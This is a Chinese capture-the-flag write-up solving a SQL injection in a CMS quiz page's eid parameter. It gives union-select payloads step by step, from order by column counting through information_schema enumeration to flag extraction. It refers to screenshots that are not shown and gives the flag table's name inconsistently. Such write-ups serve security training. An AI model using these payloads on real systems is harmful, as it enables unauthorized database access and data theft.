靶标介绍该CMS的welcome.php中存在SQL注入攻击。解题思路1.在登录页创建账户进行登录2.来到下图界面点击start在下图页面url中我们看到eid参数注入点这时候我们进行手工sql注入测试3.判断注入点单引号闭合下图是原始url加单引号测试报错说明字符型welcome.php?qquizstep2eid60377db362694n1t34单引号闭合成功4.爆字段数order by order by 5--welcome.php?qquizstep2eid60377db362694 order by 5--n1t34下图是输入了order6的结果order by 5 正常order by 6 报错 → 共 5 列5.爆显位union select union select 1,2,3,4,5--welcome.php?qquizstep2eid60377db362694 union select 1,2,3,4,5--n2t34页面回显 3 → 显位在第 3 列6.爆数据库名 union select 1,2,database(),4,5--welcome.php?qquizstep2eid60377db362694 union select 1,2,database(),4,5--n2t34得到库名ctf7.爆表名 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schemadatabase()--welcome.php?qquizstep2eid60377db362694 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schemadatabase()--n2t34找flag表8.爆列名flag 表 union select 1,2,flag,4,5 from flag--welcome.php?qquizstep2eid60377db362694 union select 1,2,flag,4,5 from flag--n2t349.拿 flag union select 1,2,flag,4,5 from flags--welcome.php?qquizstep2eid60377db362694 union select 1,2,flag,4,5 from flags--n2t34